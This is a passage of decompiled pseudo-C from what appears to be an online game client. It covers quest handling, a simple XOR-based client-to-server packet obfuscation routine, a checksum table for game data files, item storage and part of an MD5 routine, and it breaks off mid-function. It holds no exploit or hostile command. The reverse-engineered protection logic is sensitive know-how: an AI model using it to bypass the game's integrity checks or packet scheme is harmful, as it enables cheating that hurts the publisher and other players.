*(_WORD *)v3); v5 = v4; if ( v4 ) { if ( v4->End.bClass == 1 ) { if ( v4->End.Class == nClass ) { bResult = 1; v2->vfptr->Occure_ClassChange(v2, *(_WORD *)v3, nClass); v6 = *(_BYTE *)(v3 + 2); v7 = CQuest::DoingQuestUpdateStatus(v2, i); if ( v6 == 6 ) { if ( v7 == 8 ) { v2->vfptr->Occure_NewStatusReward(v2, (PLAYER_QUEST_INFO *)v3, v5); } else { if ( v7 == 7 ) v2->vfptr->Occure_NewStatusFailed(v2, (PLAYER_QUEST_INFO *)v3, v5); } } } } } } } v8 = v2->m_NumOfQuest; v10 = __OFSUB__(i + 1, v8); v9 = i++ + 1 - v8 < 0; ++v13; } while ( v9 ^ v10 ); result = bResult; } return result; } //----- (005F39A0) -------------------------------------------------------- int __thiscall CQuest::QuestPlayer_TimeProcess(CQuest *this) { CQuest *v1; // esi@1 int v2; // eax@1 int result; // eax@2 int v4; // ecx@3 int v5; // ebx@3 int v6; // eax@3 int v7; // edi@7 QUEST_DATA *v8; // eax@9 QUEST_DATA *v9; // ebp@9 int v10; // eax@11 int v11; // eax@12 int v12; // ebx@12 PLAYER_QUEST_STATUS v13; // eax@12 int v14; // ecx@17 bool v15; // sf@17 unsigned __int8 v16; // of@17 int i; // [sp+14h] [bp-10h]@3 int v18; // [sp+18h] [bp-Ch]@4 int bResult; // [sp+1Ch] [bp-8h]@1 int PassedTime; // [sp+20h] [bp-4h]@3 v1 = this; bResult = 0; v2 = time(0); if ( v2 == v1->m_ProcessedTime ) { result = 0; } else { v4 = v1->m_NumOfQuest; v5 = (unsigned __int16)(LOWORD(v1->m_ProcessedTime) - v2); v1->m_ProcessedTime = v2; v6 = 0; i = 0; PassedTime = v5; if ( v4 > 0 ) { v18 = 0; while ( 1 ) { if ( v6 < v1->m_NumOfQuest ) { v7 = (int)&v1->m_pQuestArray[v18]; if ( v7 ) { if ( *(_BYTE *)(v7 + 2) == 6 ) { v8 = CQuestData::GetQuestData(v1->m_pQuestData, *(_WORD *)v7); v9 = v8; if ( v8 ) { if ( v8->End.bTimeLimit == 1 ) { v10 = *(_WORD *)(v7 + 30); if ( v9->End.TimeLimit >= (unsigned __int16)v10 ) { v11 = v5 + v10; *(_WORD *)(v7 + 30) = v11; bResult = 1; v1->vfptr->Occure_TimeProcess(v1, *(_WORD *)v7, v11, v9->End.TimeLimit); v12 = *(_BYTE *)(v7 + 2); v13 = CQuest::DoingQuestUpdateStatus(v1, i); if ( v12 == 6 ) { if ( v13 == 8 ) { v1->vfptr->Occure_NewStatusReward(v1, (PLAYER_QUEST_INFO *)v7, v9); } else { if ( v13 == 7 ) v1->vfptr->Occure_NewStatusFailed(v1, (PLAYER_QUEST_INFO *)v7, v9); } } } } } } } } v14 = v1->m_NumOfQuest; v6 = i + 1; v16 = __OFSUB__(i + 1, v14); v15 = i++ + 1 - v14 < 0; ++v18; if ( !(v15 ^ v16) ) break; v5 = PassedTime; } } result = bResult; } return result; } //----- (005F3AD0) -------------------------------------------------------- void __thiscall CQuest::GetQuestStatusWithNPC(CQuest *this, CQuest::NPC_QUEST_STATUS *kQuestStatus) { CQuest::NPC_QUEST_STATUS *v2; // esi@1 unsigned int v3; // edx@1 QUEST_DATA *v4; // edi@1 CQuest *v5; // ebp@1 signed int v6; // ebx@1 CQuestData *v7; // ecx@2 QUEST_DATA_HEAD *v8; // eax@2 unsigned __int16 v9; // ax@3 QUEST_DATA *v10; // eax@6 QUEST_DATA *v11; // esi@6 unsigned int v12; // eax@10 unsigned int v13; // ecx@10 signed int v14; // eax@15 char v15; // al@18 char v16; // cl@21 unsigned int i; // [sp+10h] [bp-18h]@1 int eResultState; // [sp+14h] [bp-14h]@1 unsigned __int16 TempQuestStatus; // [sp+18h] [bp-10h]@1 int v20; // [sp+20h] [bp-8h]@10 v2 = kQuestStatus; v3 = 0; v4 = 0; v5 = this; eResultState = 0; v6 = -1; TempQuestStatus = kQuestStatus->hID; i = 0; while ( 1 ) { v7 = v5->m_pQuestData; v8 = v7->m_pDataHead; v9 = v8 ? v8->NumOfQuest : 0; if ( (signed int)v3 >= v9 ) break; v10 = CQuestData::GetQuestDataByIndex(v7, v3); v11 = v10; if ( v10 && CQuest::GetQuestStatusWithNPC(v5, (CQuest::NPC_QUEST_STATUS *)&TempQuestStatus, v10, 0, 0, 0) ) { if ( !v4 ) v4 = v11; v12 = v5->m_QuestStatusPriority[v20]; v13 = v5->m_QuestStatusPriority[eResultState]; if ( v12 >= v13 ) { if ( v12 > v13 ) goto LABEL_37; if ( !v11->Start.bLevel ) { LABEL_36: v6 = -1; goto LABEL_37; } v14 = v11->Start.LevelMin; if ( v14 <= v6 ) { if ( v14 < v6 ) goto LABEL_37; v15 = v11->Type; if ( v15 == 3 ) { if ( v4->Type == 3 ) goto LABEL_37; v4 = v11; v2 = kQuestStatus; ++i; v3 = i; } else { v16 = v4->Type; if ( v16 == 3 ) goto LABEL_37; if ( v11->Start.bQuest ) { if ( v4->Start.bQuest ) goto LABEL_37; v4 = v11; v2 = kQuestStatus; ++i; v3 = i; } else { if ( v4->Start.bQuest ) goto LABEL_37; if ( v11->Start.bItem ) { if ( v4->Start.bItem ) goto LABEL_37; v4 = v11; v2 = kQuestStatus; ++i; v3 = i; } else { if ( v4->Start.bItem ) goto LABEL_37; if ( v11->Repeatable ) { if ( v4->Repeatable ) goto LABEL_37; v4 = v11; v2 = kQuestStatus; ++i; v3 = i; } else { if ( v4->Repeatable || v5->m_QuestTypePriority[(unsigned __int8)v15] >= v5->m_QuestTypePriority[(unsigned __int8)v16] ) goto LABEL_37; v4 = v11; v2 = kQuestStatus; ++i; v3 = i; } } } } } else { v6 = v11->Start.LevelMin; v4 = v11; v2 = kQuestStatus; ++i; v3 = i; } } else { eResultState = v20; v4 = v11; if ( !v11->Start.bLevel ) goto LABEL_36; v6 = v11->Start.LevelMin; v2 = kQuestStatus; ++i; v3 = i; } } else { LABEL_37: v2 = kQuestStatus; ++i; v3 = i; } } v2->lpQuestData = v4; v2->nLevel = v6; v2->eResultState = eResultState; } //----- (005F3CD0) -------------------------------------------------------- char *__thiscall PacketEncrypt::pe_FromClientToServer(PacketEncrypt *this, char *buf, int len) { int v3; // edx@1 char *result; // eax@5 v3 = 0; if ( len <= 0 ) { result = buf; } else { do { buf[v3] ^= PacketEncrypt::pe_encryptstr[this->pe_point++]; if ( this->pe_point >= 0x1F3u ) this->pe_point = 0; ++v3; } while ( v3 < len ); result = buf; } return result; } //----- (005F3D10) -------------------------------------------------------- char *__thiscall PacketEncrypt::pe_FromServerToClient(PacketEncrypt *this, char *buf, int len) { return buf; } //----- (005F3D20) -------------------------------------------------------- int __thiscall CShnDataFileCheckSum::__unnamed::__unnamed(int this) { int result; // eax@1 result = this; *(_DWORD *)(this + 29) = 0; *(_DWORD *)(this + 25) = 0; *(_DWORD *)(this + 21) = 0; *(_DWORD *)(this + 17) = 0; *(_DWORD *)(this + 13) = 0; *(_DWORD *)(this + 9) = 0; *(_DWORD *)(this + 5) = 0; *(_DWORD *)(this + 1) = 0; return result; } //----- (005F3D40) -------------------------------------------------------- void __thiscall CShnDataFileCheckSum::_CShnDataFileCheckSum(CShnDataFileCheckSum *this) { _eh_vector_destructor_iterator_( this->CheckSumData, 0x41u, 30, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (005F3D60) -------------------------------------------------------- char __thiscall CShnDataFileCheckSum::InitDataFileCheckSum(CShnDataFileCheckSum *this, const char *FileName, Name8 nCheckSum) { CShnDataFileCheckSum *v3; // ebx@1 const char *v4; // eax@1 const char v5; // cl@2 int v6; // eax@3 char v7; // cl@4 int v8; // edi@5 int i; // esi@5 char *v10; // eax@7 signed int v11; // edi@8 bool v12; // zf@8 bool v13; // sf@8 unsigned __int8 v14; // of@8 char result; // al@9 const char *v16; // ebp@11 int v17; // eax@21 __int16 Token; // [sp+10h] [bp-8Ch]@1 char v19; // [sp+12h] [bp-8Ah]@1 char v20; // [sp+13h] [bp-89h]@1 CShnDataFileCheckSum *Index; // [sp+14h] [bp-88h]@1 char FileNameBuff[128]; // [sp+18h] [bp-84h]@2 unsigned int v23; // [sp+98h] [bp-4h]@1 v23 = (unsigned int)&Token ^ __security_cookie; v3 = this; Token = *(_WORD *)"/\\"; v4 = FileName; Index = this; v19 = byte_689602; v20 = 0; do { v5 = *v4; v4[FileNameBuff - FileName] = *v4; ++v4; } while ( v5 ); v6 = (int)FileNameBuff; do v7 = *(_BYTE *)v6++; while ( v7 ); v8 = v6 - (_DWORD)&FileNameBuff[1]; for ( i = 0; i < v8; ++i ) FileNameBuff[i] = tolower(FileNameBuff[i]); v10 = strtok(FileNameBuff, (const char *)&Token); if ( v10 ) { while ( 1 ) { v11 = 0; v16 = v3->CheckSumData[0].DataFileName; do { if ( !strcmp(v16, v10) ) break; ++v11; v16 += 65; } while ( v11 < 30 ); if ( v11 != 30 ) break; v10 = strtok(0, (const char *)&Token); if ( !v10 ) return 1; v3 = Index; } v3 = Index; v14 = __OFSUB__(v11, 30); v12 = v11 == 30; v13 = v11 - 30 < 0; } else { v11 = (signed int)Index; v14 = __OFSUB__(Index, 30); v12 = Index == (CShnDataFileCheckSum *)30; v13 = (signed int)((char *)Index - 30) < 0; if ( Index == (CShnDataFileCheckSum *)30 ) return 1; } if ( (unsigned __int8)(v13 ^ v14) | v12 && v11 >= 0 && v3->InitCheckSumCnt <= 30 ) { v17 = (int)((char *)v3 + 65 * v11); *(_DWORD *)(v17 + 5) = *(_DWORD *)&nCheckSum; *(_DWORD *)(v17 + 9) = *(_DWORD *)&nCheckSum.n8_name[4]; *(_DWORD *)(v17 + 13) = *(_DWORD *)&nCheckSum.n8_name[8]; *(_DWORD *)(v17 + 17) = *(_DWORD *)&nCheckSum.n8_name[12]; *(_DWORD *)(v17 + 21) = *(_DWORD *)&nCheckSum.n8_name[16]; *(_DWORD *)(v17 + 25) = *(_DWORD *)&nCheckSum.n8_name[20]; *(_DWORD *)(v17 + 29) = *(_DWORD *)&nCheckSum.n8_name[24]; *(_DWORD *)(v17 + 33) = *(_DWORD *)&nCheckSum.n8_name[28]; *(_BYTE *)(v17 + 4) = 1; ++v3->InitCheckSumCnt; result = 1; } else { result = 0; } return result; } // 689602: using guessed type char byte_689602; //----- (005F3F10) -------------------------------------------------------- int __thiscall CShnDataFileCheckSum::DataFileCheck(CShnDataFileCheckSum *this, Name8 *Data) { unsigned __int8 v2; // bl@1 int v3; // edx@2 int v4; // edi@2 int v5; // eax@2 int v6; // ebp@2 Name8 *v7; // eax@2 char *v8; // edx@2 v2 = 0; while ( 1 ) { v3 = v2; v4 = *(_DWORD *)&this->CheckSumData[v3].CheckSum.n8_name[0]; v5 = v2; v6 = *(_DWORD *)&Data[v5].n8_name[0]; v7 = &Data[v5]; v8 = (char *)&this->CheckSumData[v3].CheckSum; if ( v4 != v6 ) break; if ( *((_DWORD *)v8 + 1) != *(_DWORD *)&v7->n8_name[4] || *((_DWORD *)v8 + 2) != *(_DWORD *)&v7->n8_name[8] || *((_DWORD *)v8 + 3) != *(_DWORD *)&v7->n8_name[12] || *((_DWORD *)v8 + 4) != *(_DWORD *)&v7->n8_name[16] || *((_DWORD *)v8 + 5) != *(_DWORD *)&v7->n8_name[20] || *((_DWORD *)v8 + 6) != *(_DWORD *)&v7->n8_name[24] || *((_DWORD *)v8 + 7) != *(_DWORD *)&v7->n8_name[28] ) break; ++v2; if ( v2 >= 0x1Eu ) return -1; } return v2; } //----- (005F3F90) -------------------------------------------------------- Name8 *__thiscall CShnDataFileCheckSum::GetDataFileCheckSum(CShnDataFileCheckSum *this, SHN_DATA_FILE_INDEX Index) { Name8 *result; // eax@3 if ( (signed int)Index < 0 || (signed int)Index >= 30 ) result = 0; else result = &this->CheckSumData[Index].CheckSum; return result; } //----- (005F3FB0) -------------------------------------------------------- char __thiscall CShnDataFileCheckSum::isFileLoadAllComplete(CShnDataFileCheckSum *this) { return this->InitCheckSumCnt == 30; } //----- (005F3FC0) -------------------------------------------------------- char *__thiscall CShnDataFileCheckSum::NotLoadFileName(CShnDataFileCheckSum *this) { signed int v1; // eax@1 char *v2; // edx@1 v1 = 0; v2 = (char *)this->CheckSumData; while ( *v2 ) { ++v1; v2 += 65; if ( v1 >= 30 ) return 0; } return this->CheckSumData[v1].DataFileName; } //----- (005F3FE0) -------------------------------------------------------- char *__thiscall CShnDataFileCheckSum::GetDataFileName(CShnDataFileCheckSum *this, SHN_DATA_FILE_INDEX Index) { char *result; // eax@3 if ( (signed int)Index < 0 || (signed int)Index >= 30 ) result = 0; else result = this->CheckSumData[Index].DataFileName; return result; } //----- (005F4000) -------------------------------------------------------- void __thiscall CShnDataFileCheckSum::CShnDataFileCheckSum(CShnDataFileCheckSum *this) { CShnDataFileCheckSum *v1; // ebx@1 char *v2; // esi@1 char *v3; // eax@1 signed int v4; // ecx@1 const char *v5; // ebp@3 unsigned int v6; // edi@4 signed int i; // esi@4 signed int v8; // [sp+10h] [bp-4h]@3 v1 = this; v2 = (char *)this->CheckSumData; _eh_vector_constructor_iterator_( this->CheckSumData, 0x41u, 30, (void (__thiscall *)(void *))CShnDataFileCheckSum::__unnamed::__unnamed, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->InitCheckSumCnt = 0; v3 = v2; v4 = 30; do { *v3 = 0; v3 += 65; --v4; } while ( v4 ); v5 = v1->CheckSumData[0].DataFileName; *(_DWORD *)&v1->CheckSumData[0].DataFileName[0] = *(_DWORD *)"Abstate.shn"; *(_DWORD *)&v1->CheckSumData[0].DataFileName[4] = dword_68981C; *(_DWORD *)&v1->CheckSumData[0].DataFileName[8] = off_689820; *(_DWORD *)&v1->CheckSumData[1].DataFileName[0] = *(_DWORD *)"ActiveSkill.shn"; *(_DWORD *)&v1->CheckSumData[1].DataFileName[4] = dword_68980C; *(_DWORD *)&v1->CheckSumData[1].DataFileName[8] = dword_689810; *(_DWORD *)&v1->CheckSumData[1].DataFileName[12] = off_689814; memcpy(v1->CheckSumData[2].DataFileName, "CharacterTitleData.shn", 0x17u); *(_DWORD *)&v1->CheckSumData[3].DataFileName[0] = *(_DWORD *)"ChargedEffect.shn"; *(_DWORD *)&v1->CheckSumData[3].DataFileName[4] = dword_6897E0; *(_DWORD *)&v1->CheckSumData[3].DataFileName[8] = dword_6897E4; *(_DWORD *)&v1->CheckSumData[3].DataFileName[12] = dword_6897E8; *(_WORD *)&v1->CheckSumData[3].DataFileName[16] = word_6897EC; *(_DWORD *)&v1->CheckSumData[4].DataFileName[0] = *(_DWORD *)"ClassName.shn"; *(_DWORD *)&v1->CheckSumData[4].DataFileName[4] = dword_6897D0; *(_DWORD *)&v1->CheckSumData[4].DataFileName[8] = dword_6897D4; *(_WORD *)&v1->CheckSumData[4].DataFileName[12] = word_6897D8; *(_DWORD *)&v1->CheckSumData[5].DataFileName[0] = *(_DWORD *)"Gather.shn"; *(_DWORD *)&v1->CheckSumData[5].DataFileName[4] = dword_6897C4; *(_WORD *)&v1->CheckSumData[5].DataFileName[8] = word_6897C8; v1->CheckSumData[5].DataFileName[10] = byte_6897CA; *(_DWORD *)&v1->CheckSumData[6].DataFileName[0] = *(_DWORD *)"GradeItemOption.shn"; *(_DWORD *)&v1->CheckSumData[6].DataFileName[4] = dword_6897B0; *(_DWORD *)&v1->CheckSumData[6].DataFileName[8] = dword_6897B4; *(_DWORD *)&v1->CheckSumData[6].DataFileName[12] = dword_6897B8; *(_DWORD *)&v1->CheckSumData[6].DataFileName[16] = off_6897BC; *(_DWORD *)&v1->CheckSumData[7].DataFileName[0] = *(_DWORD *)"ItemDismantle.shn"; *(_DWORD *)&v1->CheckSumData[7].DataFileName[4] = dword_68979C; *(_DWORD *)&v1->CheckSumData[7].DataFileName[8] = dword_6897A0; *(_DWORD *)&v1->CheckSumData[7].DataFileName[12] = dword_6897A4; *(_WORD *)&v1->CheckSumData[7].DataFileName[16] = word_6897A8; *(_DWORD *)&v1->CheckSumData[8].DataFileName[0] = *(_DWORD *)"ItemInfo.shn"; *(_DWORD *)&v1->CheckSumData[8].DataFileName[4] = dword_68978C; *(_DWORD *)&v1->CheckSumData[8].DataFileName[8] = dword_689790; v1->CheckSumData[8].DataFileName[12] = byte_689794; *(_DWORD *)&v1->CheckSumData[9].DataFileName[0] = *(_DWORD *)"MapInfo.shn"; *(_DWORD *)&v1->CheckSumData[9].DataFileName[4] = dword_689780; *(_DWORD *)&v1->CheckSumData[9].DataFileName[8] = off_689784; *(_DWORD *)&v1->CheckSumData[10].DataFileName[0] = *(_DWORD *)"MiniHouse.shn"; *(_DWORD *)&v1->CheckSumData[10].DataFileName[4] = dword_689770; *(_DWORD *)&v1->CheckSumData[10].DataFileName[8] = dword_689774; *(_WORD *)&v1->CheckSumData[10].DataFileName[12] = word_689778; memcpy(v1->CheckSumData[11].DataFileName, "MiniHouseFurniture.shn", 0x17u); *(_DWORD *)&v1->CheckSumData[12].DataFileName[0] = *(_DWORD *)"MiniHouseObjAni.shn"; *(_DWORD *)&v1->CheckSumData[12].DataFileName[4] = dword_689744; *(_DWORD *)&v1->CheckSumData[12].DataFileName[8] = dword_689748; *(_DWORD *)&v1->CheckSumData[12].DataFileName[12] = dword_68974C; *(_DWORD *)&v1->CheckSumData[12].DataFileName[16] = off_689750; *(_DWORD *)&v1->CheckSumData[13].DataFileName[0] = *(_DWORD *)"MobInfo.shn"; *(_DWORD *)&v1->CheckSumData[13].DataFileName[4] = dword_689738; *(_DWORD *)&v1->CheckSumData[13].DataFileName[8] = off_68973C; *(_DWORD *)&v1->CheckSumData[14].DataFileName[0] = *(_DWORD *)"PassiveSkill.shn"; *(_DWORD *)&v1->CheckSumData[14].DataFileName[4] = dword_689724; *(_DWORD *)&v1->CheckSumData[14].DataFileName[8] = dword_689728; *(_DWORD *)&v1->CheckSumData[14].DataFileName[12] = dword_68972C; v1->CheckSumData[14].DataFileName[16] = byte_689730; *(_DWORD *)&v1->CheckSumData[15].DataFileName[0] = *(_DWORD *)"Riding.shn"; *(_DWORD *)&v1->CheckSumData[15].DataFileName[4] = dword_689718; *(_WORD *)&v1->CheckSumData[15].DataFileName[8] = word_68971C; v1->CheckSumData[15].DataFileName[10] = byte_68971E; *(_DWORD *)&v1->CheckSumData[16].DataFileName[0] = *(_DWORD *)"SubAbstate.shn"; *(_DWORD *)&v1->CheckSumData[16].DataFileName[4] = dword_689708; *(_DWORD *)&v1->CheckSumData[16].DataFileName[8] = dword_68970C; *(_WORD *)&v1->CheckSumData[16].DataFileName[12] = word_689710; v1->CheckSumData[16].DataFileName[14] = byte_689712; *(_DWORD *)&v1->CheckSumData[17].DataFileName[0] = *(_DWORD *)"UpgradeInfo.shn"; *(_DWORD *)&v1->CheckSumData[17].DataFileName[4] = dword_6896F8; *(_DWORD *)&v1->CheckSumData[17].DataFileName[8] = dword_6896FC; *(_DWORD *)&v1->CheckSumData[17].DataFileName[12] = off_689700; *(_DWORD *)&v1->CheckSumData[18].DataFileName[0] = *(_DWORD *)"WeaponAttrib.shn"; *(_DWORD *)&v1->CheckSumData[18].DataFileName[4] = dword_6896E4; *(_DWORD *)&v1->CheckSumData[18].DataFileName[8] = dword_6896E8; *(_DWORD *)&v1->CheckSumData[18].DataFileName[12] = dword_6896EC; v1->CheckSumData[18].DataFileName[16] = byte_6896F0; *(_DWORD *)&v1->CheckSumData[19].DataFileName[0] = *(_DWORD *)"WeaponTitleData.shn"; *(_DWORD *)&v1->CheckSumData[19].DataFileName[4] = dword_6896D0; *(_DWORD *)&v1->CheckSumData[19].DataFileName[8] = dword_6896D4; *(_DWORD *)&v1->CheckSumData[19].DataFileName[12] = dword_6896D8; *(_DWORD *)&v1->CheckSumData[19].DataFileName[16] = off_6896DC; memcpy( v1->CheckSumData[20].DataFileName, "MiniHouseFurnitureObjEffect.shn", sizeof(v1->CheckSumData[20].DataFileName)); *(_DWORD *)&v1->CheckSumData[21].DataFileName[0] = *(_DWORD *)"MiniHouseEndure.shn"; *(_DWORD *)&v1->CheckSumData[21].DataFileName[4] = dword_68969C; *(_DWORD *)&v1->CheckSumData[21].DataFileName[8] = dword_6896A0; *(_DWORD *)&v1->CheckSumData[21].DataFileName[12] = dword_6896A4; *(_DWORD *)&v1->CheckSumData[21].DataFileName[16] = off_6896A8; *(_DWORD *)&v1->CheckSumData[22].DataFileName[0] = *(_DWORD *)"DiceDividind.shn"; *(_DWORD *)&v1->CheckSumData[22].DataFileName[4] = dword_689688; *(_DWORD *)&v1->CheckSumData[22].DataFileName[8] = dword_68968C; *(_DWORD *)&v1->CheckSumData[22].DataFileName[12] = dword_689690; v1->CheckSumData[22].DataFileName[16] = byte_689694; *(_DWORD *)&v1->CheckSumData[23].DataFileName[0] = *(_DWORD *)"ActionViewInfo.shn"; *(_DWORD *)&v1->CheckSumData[23].DataFileName[4] = dword_689674; *(_DWORD *)&v1->CheckSumData[23].DataFileName[8] = dword_689678; *(_DWORD *)&v1->CheckSumData[23].DataFileName[12] = dword_68967C; *(_WORD *)&v1->CheckSumData[23].DataFileName[16] = word_689680; v1->CheckSumData[23].DataFileName[18] = byte_689682; *(_DWORD *)&v1->CheckSumData[24].DataFileName[0] = *(_DWORD *)"AuctionCost.shn"; *(_DWORD *)&v1->CheckSumData[24].DataFileName[4] = dword_689664; *(_DWORD *)&v1->CheckSumData[24].DataFileName[8] = dword_689668; *(_DWORD *)&v1->CheckSumData[24].DataFileName[12] = off_68966C; *(_DWORD *)&v1->CheckSumData[25].DataFileName[0] = *(_DWORD *)"AuctionLimit.shn"; *(_DWORD *)&v1->CheckSumData[25].DataFileName[4] = dword_689650; *(_DWORD *)&v1->CheckSumData[25].DataFileName[8] = dword_689654; *(_DWORD *)&v1->CheckSumData[25].DataFileName[12] = dword_689658; v1->CheckSumData[25].DataFileName[16] = byte_68965C; *(_DWORD *)&v1->CheckSumData[26].DataFileName[0] = *(_DWORD *)"AuctionPeriod.shn"; *(_DWORD *)&v1->CheckSumData[26].DataFileName[4] = dword_68963C; *(_DWORD *)&v1->CheckSumData[26].DataFileName[8] = dword_689640; *(_DWORD *)&v1->CheckSumData[26].DataFileName[12] = dword_689644; *(_WORD *)&v1->CheckSumData[26].DataFileName[16] = word_689648; *(_DWORD *)&v1->CheckSumData[27].DataFileName[0] = *(_DWORD *)"MapLinkPoint.shn"; *(_DWORD *)&v1->CheckSumData[27].DataFileName[4] = dword_689628; *(_DWORD *)&v1->CheckSumData[27].DataFileName[8] = dword_68962C; *(_DWORD *)&v1->CheckSumData[27].DataFileName[12] = dword_689630; v1->CheckSumData[27].DataFileName[16] = byte_689634; *(_DWORD *)&v1->CheckSumData[28].DataFileName[0] = *(_DWORD *)"MapWayPoint.shn"; *(_DWORD *)&v1->CheckSumData[28].DataFileName[4] = dword_689618; *(_DWORD *)&v1->CheckSumData[28].DataFileName[8] = dword_68961C; *(_DWORD *)&v1->CheckSumData[28].DataFileName[12] = off_689620; *(_DWORD *)&v1->CheckSumData[29].DataFileName[0] = *(_DWORD *)"PVPNoAttack.shn"; *(_DWORD *)&v1->CheckSumData[29].DataFileName[4] = dword_689608; *(_DWORD *)&v1->CheckSumData[29].DataFileName[8] = dword_68960C; *(_DWORD *)&v1->CheckSumData[29].DataFileName[12] = off_689610; v8 = 30; do { v6 = strlen(v5); for ( i = 0; i < (signed int)v6; ++i ) v5[i] = tolower(v5[i]); v5 += 65; --v8; } while ( v8 ); } // 689608: using guessed type int dword_689608; // 68960C: using guessed type int dword_68960C; // 689610: using guessed type void *off_689610; // 689618: using guessed type int dword_689618; // 68961C: using guessed type int dword_68961C; // 689620: using guessed type void *off_689620; // 689628: using guessed type int dword_689628; // 68962C: using guessed type int dword_68962C; // 689630: using guessed type int dword_689630; // 689634: using guessed type char byte_689634; // 68963C: using guessed type int dword_68963C; // 689640: using guessed type int dword_689640; // 689644: using guessed type int dword_689644; // 689648: using guessed type __int16 word_689648; // 689650: using guessed type int dword_689650; // 689654: using guessed type int dword_689654; // 689658: using guessed type int dword_689658; // 68965C: using guessed type char byte_68965C; // 689664: using guessed type int dword_689664; // 689668: using guessed type int dword_689668; // 68966C: using guessed type void *off_68966C; // 689674: using guessed type int dword_689674; // 689678: using guessed type int dword_689678; // 68967C: using guessed type int dword_68967C; // 689680: using guessed type __int16 word_689680; // 689682: using guessed type char byte_689682; // 689688: using guessed type int dword_689688; // 68968C: using guessed type int dword_68968C; // 689690: using guessed type int dword_689690; // 689694: using guessed type char byte_689694; // 68969C: using guessed type int dword_68969C; // 6896A0: using guessed type int dword_6896A0; // 6896A4: using guessed type int dword_6896A4; // 6896A8: using guessed type void *off_6896A8; // 6896D0: using guessed type int dword_6896D0; // 6896D4: using guessed type int dword_6896D4; // 6896D8: using guessed type int dword_6896D8; // 6896DC: using guessed type void *off_6896DC; // 6896E4: using guessed type int dword_6896E4; // 6896E8: using guessed type int dword_6896E8; // 6896EC: using guessed type int dword_6896EC; // 6896F0: using guessed type char byte_6896F0; // 6896F8: using guessed type int dword_6896F8; // 6896FC: using guessed type int dword_6896FC; // 689700: using guessed type void *off_689700; // 689708: using guessed type int dword_689708; // 68970C: using guessed type int dword_68970C; // 689710: using guessed type __int16 word_689710; // 689712: using guessed type char byte_689712; // 689718: using guessed type int dword_689718; // 68971C: using guessed type __int16 word_68971C; // 68971E: using guessed type char byte_68971E; // 689724: using guessed type int dword_689724; // 689728: using guessed type int dword_689728; // 68972C: using guessed type int dword_68972C; // 689730: using guessed type char byte_689730; // 689738: using guessed type int dword_689738; // 68973C: using guessed type void *off_68973C; // 689744: using guessed type int dword_689744; // 689748: using guessed type int dword_689748; // 68974C: using guessed type int dword_68974C; // 689750: using guessed type void *off_689750; // 689770: using guessed type int dword_689770; // 689774: using guessed type int dword_689774; // 689778: using guessed type __int16 word_689778; // 689780: using guessed type int dword_689780; // 689784: using guessed type void *off_689784; // 68978C: using guessed type int dword_68978C; // 689790: using guessed type int dword_689790; // 689794: using guessed type char byte_689794; // 68979C: using guessed type int dword_68979C; // 6897A0: using guessed type int dword_6897A0; // 6897A4: using guessed type int dword_6897A4; // 6897A8: using guessed type __int16 word_6897A8; // 6897B0: using guessed type int dword_6897B0; // 6897B4: using guessed type int dword_6897B4; // 6897B8: using guessed type int dword_6897B8; // 6897BC: using guessed type void *off_6897BC; // 6897C4: using guessed type int dword_6897C4; // 6897C8: using guessed type __int16 word_6897C8; // 6897CA: using guessed type char byte_6897CA; // 6897D0: using guessed type int dword_6897D0; // 6897D4: using guessed type int dword_6897D4; // 6897D8: using guessed type __int16 word_6897D8; // 6897E0: using guessed type int dword_6897E0; // 6897E4: using guessed type int dword_6897E4; // 6897E8: using guessed type int dword_6897E8; // 6897EC: using guessed type __int16 word_6897EC; // 68980C: using guessed type int dword_68980C; // 689810: using guessed type int dword_689810; // 689814: using guessed type void *off_689814; // 68981C: using guessed type int dword_68981C; // 689820: using guessed type void *off_689820; //----- (005F4570) -------------------------------------------------------- void __thiscall CChargedItem::CChargedItem(CChargedItem *this) { this->m_NumOfChargedItem = 0; } //----- (005F4580) -------------------------------------------------------- void __thiscall CChargedItem::Clear(CChargedItem *this) { this->m_NumOfChargedItem = 0; } //----- (005F4590) -------------------------------------------------------- int __thiscall CChargedItem::Add(CChargedItem *this, PROTO_CHARGED_ITEM_INFO *pInfo) { int v2; // eax@1 int result; // eax@2 char *v4; // eax@3 v2 = this->m_NumOfChargedItem; if ( v2 < 24 ) { v4 = (char *)this + 16 * v2; *(_DWORD *)v4 = pInfo->ItemOrderNo; *((_DWORD *)v4 + 1) = pInfo->ItemCode; *((_DWORD *)v4 + 2) = pInfo->ItemAmount; *((_DWORD *)v4 + 3) = pInfo->ItemRegisterDate._bf0; ++this->m_NumOfChargedItem; result = 1; } else { result = 0; } return result; } //----- (005F45D0) -------------------------------------------------------- PROTO_CHARGED_ITEM_INFO *__thiscall CChargedItem::Find(CChargedItem *this, unsigned int ItemOrderNo) { int v2; // esi@1 int v3; // eax@1 CChargedItem *v4; // edx@2 PROTO_CHARGED_ITEM_INFO *result; // eax@5 v2 = this->m_NumOfChargedItem; v3 = 0; if ( v2 <= 0 ) { LABEL_5: result = 0; } else { v4 = this; while ( v4->m_ChargedItemBF[0].ItemOrderNo != ItemOrderNo ) { ++v3; v4 = (CChargedItem *)((char *)v4 + 16); if ( v3 >= v2 ) goto LABEL_5; } result = (PROTO_CHARGED_ITEM_INFO *)((char *)this + 16 * v3); } return result; } //----- (005F4610) -------------------------------------------------------- void __thiscall CMD5Checksum::_CMD5Checksum(CMD5Checksum *this) { this->vfptr = (CMD5ChecksumVtbl *)&CMD5Checksum::_vftable_; } // 689824: using guessed type int (__thiscall *CMD5Checksum___vftable_)(void *p, char); //----- (005F4620) -------------------------------------------------------- void *__thiscall CMD5Checksum::_vector_deleting_destructor_(CMD5Checksum *this, unsigned int a2) { void *v2; // esi@1 v2 = this; this->vfptr = (CMD5ChecksumVtbl *)&CMD5Checksum::_vftable_; if ( a2 & 1 ) operator delete(this); return v2; } // 689824: using guessed type int (__thiscall *CMD5Checksum___vftable_)(void *p, char); //----- (005F4640) -------------------------------------------------------- void __thiscall CMD5Checksum::Transform(CMD5Checksum *this, char *Block) { char *v2; // eax@1 int *v3; // esi@1 signed int v4; // edi@1 int v5; // edx@2 int v6; // ebx@2 int v7; // ebx@2 int v8; // edx@2 int v9; // ebx@2 unsigned int v10; // edi@3 unsigned int v11; // esi@3 unsigned int v12; // edx@3 unsigned int v13; // ecx@3 int v14; // eax@3 int v15; // ecx@3 int v16; // edx@3 unsigned int v17; // ecx@3 int v18; // esi@3 unsigned int v19; // ecx@3 int v20; // edi@3 unsigned int v21; // ecx@3 int v22; 